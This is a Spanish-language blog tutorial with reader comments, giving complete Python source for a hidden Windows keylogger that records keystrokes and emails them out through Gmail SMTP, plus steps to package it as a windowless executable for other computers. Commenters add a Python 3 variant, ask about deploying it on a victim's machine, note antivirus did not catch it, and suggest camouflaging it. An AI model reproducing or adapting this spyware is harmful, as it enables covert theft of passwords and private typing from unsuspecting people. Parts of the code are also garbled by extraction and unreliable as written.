Como crear un Keylogger remoto con Python

Con esta entrada quiero explicar como crear un Keylogger remoto en Python. Este Keylogger guarda cada pulsación de tecla y lo almacena en un archivo de texto (output.txt). Después de 500 pulsaciones, el keylogger envía un correo a una dirección específica con los últimos 500 caracteres del archivo .txt. (puedes cambiar la cantidad de pulsaciones)

Puede que el equipo donde quieras probarlo no tenga Python, ni los módulos que el script utiliza, por eso crearemos un archivo ejecutable con PyInstaller y así podremos utilizarlo desde cualquier equipo.
El propósito de la entrada es con fin educativo, no me responsabilizo del uso que hagan con el. Depende completamente de ti!!!
Para que funcione, necesitamos tener instalado
  • pythoncom y pyHook: para capturar los eventos del teclado
  • PyWin32: conjunto de módulos que proporciona acceso a muchas funciones de la API de Windows
  • smtplib: módulo para enviar correo
  • pyinstaller: para crear un ejecutable del Keylogger.py
Para instalar PyHookhttps://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/
Para instalar PyWin32http://www.lfd.uci.edu/~gohlke/pythonlibs/#pywin32

Explicando cada funcionalidad del Keylogger

Envío de correo: ya hace un tiempo cree una entrada sobre el envío de correo con Python. Puedes ver la entrada en el siguiente link: Enviar correo con python
Esta función es la encargada de enviar el correo electrónico. Cualquier error será atrapado en el try - except
Captura de teclado: esta función se encarga de ir capturando lo que se presiona en el teclado e ir guardándolo en el archivo output.txt. Si se presiona Control + E el programa finaliza. Cuando se presione la primera tecla, el keylogger enviará un correo con el texto "Arrancando..." dando a entender que el programa está en funcionamiento. Esta funcionalidad se repetirá constantemente 

Código completo Keylogger.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
    
import win32console
import win32gui
import pythoncom,pyHook
import time
import smtplib
import os
import sys
 
# www.pythondiario.com
########################################################
# CONFIGURAR VARIABLES
########################################################

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

#crea el archivo .txt 
f=open("c:output.txt","w+")
f.close

#Variable que cuenta las tecas presionadas
count = 0

########################################################
# FUNCIONES
########################################################

def send_email(message):

    try:
        
        # Datos
        fromaddr = 'tuCorreo@gmail.com'
        toaddrs = 'tuCorreo@gmail.com'
        username = 'tuCorreo@gmail.com'
        password = 'tuContraseña'

        # Enviando el correo
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(fromaddr, toaddrs, message)
        server.quit()

    except:

        pass


def OnKeyboardEvent(event):
    
    global count
    count += 1 
    #presiona CTRL+E para salir
    if event.Ascii==5:
        sys.exit(0)

    if event.Ascii !=0 or 8:
        #abre output.txt
        f=open('c:output.txt','r+')
        buffer=f.read()
        f.close()        

        if len(buffer)==1:
            send_email("Arranco...")            

        elif  count == 500: 
            #Envia los ultimos 500 caracteres
            capturado = buffer[-500:].replace("n","
")
            send_email(capturado)
            count = 0
          
        #abre output.txt escribe y suma nuevas pulsaciones
        f=open('c:output.txt','w')
        keylogs=chr(event.Ascii)

        #si se presiona ENTER
        if event.Ascii==13:
            keylogs='n'

        #si se preciona ESPACIO 
        if event.Ascii==32:
            keylogs=''

        buffer+=keylogs
        f.write(buffer)
        f.close()

        
# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
     

Crear el ejecutable con pyInstaler

Una vez que instales pyinstaler, en consola te posicionas en la carpeta donde se encuentra el archivo pyinstaler.exe y ejecutas el comando:
python pyinstaller.exe --onefile --windowed --ico=anyimage.ico keylogger.py

--onefile se utiliza para empaquetar todo en un ejecutable
--windowed evita que se abra una ventana (consola) cuando la aplicación se ejecuta

Acuérdate de pasar bien la ruta de la imagen .ico y del archivo keylogger.py. El archivo ejecutable por lo general queda guardado en la carpeta "dist" dentro de la carpeta principal de Python.

Ahora solo resta probar en tu equipo y luego probarlo en otro equipo para ver si realmente funciona. Para ver si se está ejecutando puedes abrir el administrador de tareas de Windows

Saludos, Diego

  1. Unknown dice:

    Hola buenas tardes Diego cada día estoy patidifusa por el material que publicas y hasta los domingos escribes.
    #AdictaAVuestroBlog =D
    Un beso su merced.

    1. PythonDiario dice:

      Gracias Vanessa, no me podía aguantar el post hasta el Lunes jeje.
      Saludos

  2. Unknown dice:

    Ya no mas falta envolver el dulce para que no se lo coman los niños :P...

  3. Anónimo dice:

    Excelente post! No se puede hacer mejor.
    Cambiaría mucho para hacerlo en linux?

    1. PythonDiario dice:

      Hola, muchas gracias por tu comentario. Creo que para linux lo que cambiaría sería uno de los módulos importados.

      pyxhook - Para Linux
      pyHook - Para Windows

      Tendrías que ver si las funciones dentro del módulo para Linux son iguales a las de Windows, para que este Keylogger te funcione correctamente.
      Saludos

    2. Anónimo dice:

      Muchas gracias a ti por compartir tu sabiduría.
      Soy nuevo en el blog, pero me parece que voy a hacerme un incondicional xD.
      Una preguntilla más, ¿Como puedo hacer un ejecutable para linux?

    3. PythonDiario dice:

      Prueba hacer esto:

      desde la terminal pon este codigo:
      sudo chmod a+x nombre_de_archivo.py

      despues de esto, abre el codigo del programa y coloca el siguiente codigo en la primera linea de tu programa:
      #!/usr/bin/env python

      Luego ejecuta y prueba!!!

  4. Unknown dice:

    Amigo me sale lo siguiente
    Traceback (most recent call last):
    File "C:/secret/jh.py", line 4, in
    import win32console
    ImportError: DLL load failed: No se puede encontrar el módulo especificado.
    >>>

    1. PythonDiario dice:

      Hola, gracias por visitar el blog!!! Tienes instalado el modulo PyWin32? en el inicio del post indico de donde descargarlo. Saludos

    2. Unknown dice:

      Hola! Tengo el mismo problema, tengo instalado el """pywin32-221-cp27-cp27m-win32.whl""""

    3. Unknown dice:

      Si instalo mas de los módulos de la misma clase, tendría algún conflicto, estoy intentando solucionarlo, pero no encuentro problemas con el win32console dll en la comunidad x)

    4. PythonDiario dice:

      Hola como estas? Gracias por visitar el blog!!!
      Yo creo que tuve en un principio el mismo inconveniente con PyWin32.
      Fijate bien la versión (32/64 bit). Prueba instalar otra!!!
      En la pagina: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/
      Fijate en las versiones más descargadas. Luego me cuentas…
      Saludos

    5. PythonDiario dice:

      También puedes instalar pip y probar:
      pip install pypiwin32

    6. Unknown dice:

      Este comentario ha sido eliminado por el autor.

    7. Unknown dice:

      Gracias Diego! muchas gracias! <3
      Es el mejor blog de python que encuentro en meses!
      Funciono, ahora tengo un problema con IOError: Permission denied. Ya veo como me las apaño, lo dificil era lo otro gracias! 😀

    8. PythonDiario dice:

      Excelente!!! Utilizo Python 2.7
      Cualquier cosa envias el error y lo vemos!!!
      Gracias por el comentario 😉

    9. Unknown dice:

      Lo intentare de arreglar cuando despierte, si no duermo me puedo enfermar, gracias :D!

    10. Unknown dice:

      Saludos amigo, me sale este error:

      File "C:ProyectosSetup.py", line 1
      Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:22:17) [MSC v.1500 32 bit
      Intel)] on win32
      ^
      SyntaxError: invalid syntax

      me podrias ayudar?

  5. Unknown dice:

    buenas buenas, quiero hacer uno pero no me sale sera que te puedes comunicar conmigo por correo, muachas gracias rafagomezbastardo@hotmail.com... es que tengo problema con en pyhook

    1. PythonDiario dice:

      Hola Ruth, gracias por visitar el blog!!! Cual es el error que estas teniendo, así también nos sirve como retro alimentación!!!
      Saludos

  6. Unknown dice:

    File "C:UsersHargusDesktoppklv2.pyw", line 15, in
    f=open("c:output.txt","w+")
    IOError: [Errno 13] Permission denied: 'c:\output.txt'

    Estaba leyendo y el archivo necesita permisos de administrador ya que no siempre podría ejecutándose en terminales que tengan el usuario administrador iniciado, lo cual hace que el archivo ya no sea """"invisible"""" entre muchas comillas por que es claramente visible al ejecutarse el administrador de tareas. Estaba pensando en adjuntar un archivo batch para crear el .txt, puesto este no requiere de permisos especiales(Creo), ¿existe una mejor manera?

    1. Unknown dice:

      Error mio, los archivos bat para carpetas de sistema o unidades de sistema necesitan permisos de administrador, se podrían ejecutar pero no hacer nada.

    2. Unknown dice:

      Lo solucionaste?

  7. Unknown dice:

    Bueno mi ultima pregunta es, como podria detectar los caracteres especiales? Intente hacer esto pero evidentemente no funciona x)
    if event.Ascii==64:
    keylogs='@'

  8. Riki F dice:

    Hola... Como hago para que se detenga el programa... ya no quiero que me lleguen mensajes a mi correo.

    1. PythonDiario dice:

      HOla... inicial el administrador de tareas (control + alt + sup) y finaliza el proceso (el nombre que le pusiste al Keylogger)
      Saludos

  9. Riki F dice:

    Tengo windows 7 y no necesariamente encontre el archivo del script que ejecute sino uno con el nombre de pythonw o mejor dicho finalice todos los procesos que tenian que ver con python. Igual gracias por responder. Saludos.

  10. Unknown dice:

    holo tengo un problema.
    cuando ejecuto el keylogger y llega la hora de enviarme los 500 caracteres me llega un correo pero vacio, y reviso el archivo de texto y encuentro esto:

    \ F F H W

    1. PythonDiario dice:

      Que raro!!!
      Tienes todo el Keylogger igual al del ejemplo?
      Saludos

  11. Unknown dice:

    Que tal amigo, buen post y todo pero lo hice de dos maneras, en diferentes versiones de Python estuvo mejor la 2.7 aunque me salio "No such file or directory: 'anyimage.ico'

    1. PythonDiario dice:

      Hola, pero al final pudiste?
      Saludos y gracias por visitar el blog!!!

  12. Unknown dice:

    Hola, sabes intento instalar pypwin32 por medio de pip y me lanza este error? que deberia hacer.

    Could not find a version that satisfies the requirement pypwin32 (from versions: )
    No matching distribution found for pypwin32

    1. PythonDiario dice:

      Hola Marco, al principio de la entrada comparto un link para instalar pypwin32. Espero te sirva!!!
      Gracias por visitar el blog

  13. Unknown dice:

    Hola Diego, tengo una duda, ya lo hice y lo ejecute(f5) normal y todo funciona excelente pero tengo un problema. Cuando ya lo paso con el pyinstaller, osea cuando ya tengo el keylogger.exe lo corro pero al correo solo me indica que "Arrancó..." pero no me llega lo demás, no llega lo que capturó por teclado.

    Si me pudieras ayudar te lo agradecería.

    1. PythonDiario dice:

      Hola CLAY, esta parte la tienes igual (elif count == 500:) y todo lo que sigue debajo? porque es aqui donde manda el mail despues de los 500 caracteres.

      Saludos y gracias por visitar el blog

  14. Pigmalión dice:

    hola que pasa si ya descargue los modulos y me aparece """Traceback (most recent call last):
    File "", line 3, in
    import win32console
    ImportError: No module named win32console"""

    1. Pigmalión dice:

      ya solucione el problema! solo habia que descargar en este enlace "https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/"la version pywin32-221.win32-py2.7.exe

  15. Pigmalión dice:

    tengo una pregunta...en que lugar seguro puedo instalar pyInstaler???

  16. Pigmalión dice:

    y que tipo descargar??

  17. Unknown dice:

    Amigo yo estaba apunto de instalar el PyHook. Cuando lo intento instalar me dice que necesito la versión de python 2.7 y lo más raro es que cuando lfui a la consola a instalar python (porque pense que no lo tenia) me di cuenta que tenia python 2.7 porque era el que linux usa por defecto y me dice que lo necesito ayuda!!

  18. Unknown dice:

    que hacer Buffer en la funcion de OnKeyboardEvent??

  19. Unknown dice:

    Amigo por favor me podrias ayudar como instalo esas expaciones pyhook y pywin "dependiendo de mi sistema operativo si soy 64bist descargo la de 64bist?
    saludos amigo

  20. Unknown dice:

    que ago no me isntala el pyhook (C:UsersANTHONYDesktoppython>pip install pyHook-1.5.1-cp27-cp27m-win32.whl
    Requirement already satisfied: pyHook==1.5.1 from file:///C:/Users/ANTHONY/Desktop/python/pyHook-1.5.1-cp27-cp27m-win32.whl in c:python27libsite-packages

  21. Unknown dice:

    me gustaria saber el por qué de después de unos minutos el programa deja de recoger los datos del teclado y sólo envía mensajes de correo electrónico repetidos sin cambios de nueva información insertada por el teclado

  22. Anónimo dice:

    Una pregunta amigo, cuando quiero ejecutar python pyinstaller.exe --onefile --windowed --ico=anyimage.ico keylogger.py etando en la respectiva carpeta, me sale: python: can't open file 'pyinstaller.exe': [Errno 2] No such file or directory

    1. Ed_Soprano dice:

      checa la carpeta de scrips, ahi encontre el pyinstaller.exe o bien para que no haya pierde buscalo en todo el C

  23. Unknown dice:

    Este comentario ha sido eliminado por el autor.

  24. Ed_Soprano dice:

    despues de buscar el pyinstaller por todos lados y encotrarlo, me sale un error a la hora de ejecutar el keylogger, me sale este error

    Fatal Error (titulo de la ventana)

    Failed to excecute script keylogger (mensaje)

    a alguien mas le paso??

  25. Unknown dice:

    hola se puede hacer software de llamadas masivas con python?

  26. Anónimo dice:

    Pregunta, dices que hay que tener instalador pythoncom, pyHook y smtplib para registrar teclas y enviar el correo, si lo pruebo en otro ordenador, este debe tenerlos instalados, se instalan al ejecutar el programa o como va? y otra duda, el programa solo funciona cuando se ejecuta no? osea si se reinicia el equipo sigue funcionando?

    1. PythonDiario dice:

      En la otra máquina no es necesario tener nada instalado.
      Asi como está hecho el keyloger, si reinicia la máquina deja de funcionar. Saludos

  27. Unknown dice:

    lo mismo de la pregunta de arriba sobro los modulos en otra maquina, que pasa si la maquina victima no tiene por ejemplo pyHook? queda inservible el keylogger?

    1. PythonDiario dice:

      En la otra máquina no es necesario tener nada instalado. Saludos

  28. Unknown dice:

    Hola!tengo un problema,
    File "C:/Users/red21/PycharmProjects/prototipo1/prototipo 1.py", line 74
    capturado = buffer[-500:].replace("n","
    ^
    SyntaxError: EOL while scanning string literal

    Process finished with exit code 1

    tengo un problema en aquella linea, me podrias ayudar por favor, solo eso. Saludos!

  29. Anónimo dice:

    Y si quiero que ademas de que funcione el Keylogger se ejecute otro programa como por ejemplo el notepad, pero que el notepad solo se ejecute una vez

  30. TheEnd dice:

    El antivirus lo detecta?

  31. PythonDiario dice:

    Lo probé con Avast y no lo detectó

  32. Unknown dice:

    Hola esta muy interesante el blog, sobre todo si es de programacion, pero tengo un pequeño problema, al probar el programa de Python me envía claramente el correo de "Arranco..." pero luego no me envia los 500 caracteres, que podria ser? tengo Python 2.7.11 con win7

  33. Unknown dice:

    Buenas gente!! muy completo e interesante el post, lo unico que PyHook para python 3.6 tiene un bug y no funciona correctamente, yo use este codigo y anda a la perfeccion!

    import sys
    import keyboard
    from email.mime.text import MIMEText
    from smtplib import SMTP

    #configuracion variables

    # Ubicación y nombre del archivo que guarda las teclas presionadas.
    FILE_NAME = "keys.txt"
    # Determina si el archivo de salida es limpiado cada vez que se
    # inicia el programa.
    CLEAR_ON_STARTUP = True
    # Tecla para terminar el programa o None para no utilizar ninguna tecla.
    TERMINATE_KEY = "esc"

    def OnKeyboardEvent():

    if CLEAR_ON_STARTUP:
    os.remove(FILE_NAME)

    f = open(FILE_NAME, "a")

    for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)):
    f.write(string + "n")

    f.close()
    f = open(FILE_NAME, "r")
    keys_txt = f.read()
    f.close()
    print(keys_txt)
    send_email(keys_txt)

    usamos el modulo keyboard para levantar los eventos de teclado y salimos al presionar la tecla que le enviamos(estoy viendo si encuentro una manera de terminarlo de acuerdo a la cantidad de caracteres), la implementacion del send_mail es tal cual lo implemento diego. Y fijense de no estar en una VPN que sino gmail no conecta, que estuve 1 hora hasta darme cuenta q era eso jeje saludos

  34. Unknown dice:

    aca les dejo la version un poco mejorada, basicamente dormimos durante x tiempo mientras levantamos los caracteres y comprobamos si ya superamos el limite en caso contrario volvemos a ejectutar el loop

    def main_key():

    if (os.path.exists(FILE_NAME)):
    os.remove(FILE_NAME)
    f = open(FILE_NAME, "a")
    total_keys=''
    while (len(total_keys) < 10):
    keyboard.start_recording()
    time.sleep(3)
    gen = keyboard.stop_recording()
    now_keys= list(keyboard.get_typed_strings(gen))
    if not (now_keys[0] == ''):
    total_keys = total_keys + ''.join( now_keys)
    f.write(total_keys)
    f.close()
    send_email(total_keys)

  35. Anónimo dice:

    He hecho todo, y me ha funcionado, solo un pequeño comentario, al momento de ya convertir mi script a .exe, lo eh ejecutado y todo bien, me mandó los correos y todo, el problema fue cuando ya al momento de tener mi archivo en .exe, al eliminar la carpeta en la cual venía situado el .txt en el cual se guardaba todo el texto que escribía, el programa dejaba de funcionar, por lo que puedo deducir que al pasar solo el .exe a otra máquina sin instalar phyton y todas esas cosas, éste programa no funcionará en lo absoluto, lo cual, le quita el chiste a todo este programa.

  36. Unknown dice:

    Si tu problema es el archivo .txt, tranquilamente puedes hacer el programa sin usarlo, inicializa una variable en la q vas concatenando todas las teclas levantadas y mandas eso directamente... es hasta mejor en mi opinion

  37. Unknown dice:

    Traceback (most recent call last):
    File "C:/Users/Enzo/Desktop/keylogger2.pym.py", line 13, in
    f=open("c:output.txt","w+")
    IOError: [Errno 13] Permission denied: 'c:\output.txt'

  38. Unknown dice:

    probaste ejecutando el script como admin??

  39. Anónimo dice:

    A alguien mas le pasa al ejecutar el keylogger.exe. despues de pulsar la primer tecla el programa deja de funcionar

  40. Joselillo dice:

    Como puedo hacer uno para android?

  41. Anónimo dice:

    Espero me contestes, como puedo madar este keylogger a otra computadora para registrar lo que hace, se puede mandar por correo electronico y si es asi como se hace.

    1. Unknown dice:

      FACIL LO CAMUFLAS Y LO ASES EJECUTABLE CON UN CLIC

  42. Unknown dice:

    UNA PREGUNTA A ALGUIEN LE FUNCIONO

  43. Unknown dice:

    Amigo me arias el comando ho hay alguien que me ayude hacelo por mi estaría muy agredecido. Solo os pido q surayyen en rojo o en mayúsculas el sitio en donde va mi email y p contraseña.
    Gracias

  44. Adress dice:

    UnicodeDecodeError: 'ascii' codec can't decode byte 0xf1 in position 18: ordinal not in range(128) Que hago si me sale esto en la cmd?

  45. Ale dice:

    hola! me marca un error cuando lo ejecuto, dice:
    Restart:Shell
    y los caracteres que se guardan estan ilegibles, aparecen como rectangulos
    saludos

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Subir

Te has suscrito correctamente al boletín

Se produjo un error al intentar enviar tu solicitud. Inténtalo de nuevo.

Mi Diario Python will use the information you provide on this form to be in touch with you and to provide updates and marketing.